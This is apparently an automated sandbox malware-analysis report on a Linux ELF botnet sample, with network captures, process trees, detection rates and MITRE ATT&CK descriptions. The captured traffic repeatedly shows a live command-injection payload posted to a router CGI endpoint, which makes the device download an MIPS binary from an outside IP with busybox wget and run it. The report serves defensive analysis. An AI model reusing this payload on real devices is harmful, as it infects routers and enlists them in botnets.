Nov 23, 2023 05:18:21.883613110 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:30Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	52398	31.136.159.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.912106991 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.502171993 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	41294	95.214.178.221	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.935656071 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	57638	94.25.159.173	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.958705902 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	59138	31.136.118.200	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.043507099 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.630153894 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	49288	94.121.129.29	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.119261026 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	33932	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.155544043 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 32 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:22Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	34108	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.499006033 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 32 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:22Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	52734	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.573287010 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:31Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	35472	85.195.79.195	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.720046997 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	45850	31.131.88.46	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.835926056 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	34110	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.839195967 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 32 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:22Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	45594	94.121.73.226	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:22.855319977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

System Behavior

Analysis Process: 7Ueun89KE3.elf PID: 5419, Parent PID: 5346

General

Start time (UTC):	04:14:46
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	/tmp/7Ueun89KE3.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:34
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:34
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5575, Parent PID: 5550

General

Start time (UTC):	04:17:34
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5576, Parent PID: 5550

General

Start time (UTC):	04:17:34
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5553, Parent PID: 5545

General

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5558, Parent PID: 5545

General

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5559, Parent PID: 5545

General

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5423, Parent PID: 5419

General

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5547, Parent PID: 5427

General

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5549, Parent PID: 5427

General

Start time (UTC):	04:17:29
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5428, Parent PID: 5425

General

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5433, Parent PID: 5425

General

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 7Ueun89KE3.elf PID: 5436, Parent PID: 5425

General

Start time (UTC):	04:14:47
Start date (UTC):	23/11/2023
Path:	/tmp/7Ueun89KE3.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: 7Ueun89KE3.elf	ReversingLabs: Detection: 45%
Source: 7Ueun89KE3.elf	Virustotal: Detection: 29%			Perma Link

Source: global traffic	TCP traffic: 156.224.12.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.25.138 ports 1,2,3,5,7,37215

Source: /tmp/7Ueun89KE3.elf (PID: 5421)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	Socket: 0.0.0.0::53413	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	Socket: 0.0.0.0::80	Jump to behavior
Source: /tmp/7Ueun89KE3.elf (PID: 5427)	Socket: 0.0.0.0::37215	Jump to behavior

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 7Ueun89KE3.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: 7Ueun89KE3.elf PID: 5419, Parent PID: 5346

General

Chronological Activities

Analysis Process: 7Ueun89KE3.elf PID: 5421, Parent PID: 5419

General

Chronological Activities

Analysis Process: 7Ueun89KE3.elf PID: 5541, Parent PID: 5421

General

Chronological Activities

Analysis Process: 7Ueun89KE3.elf PID: 5545, Parent PID: 5421

General

Chronological Activities

Analysis Process: 7Ueun89KE3.elf PID: 5550, Parent PID: 5545

General

Chronological Activities

Linux Analysis Report
7Ueun89KE3.elf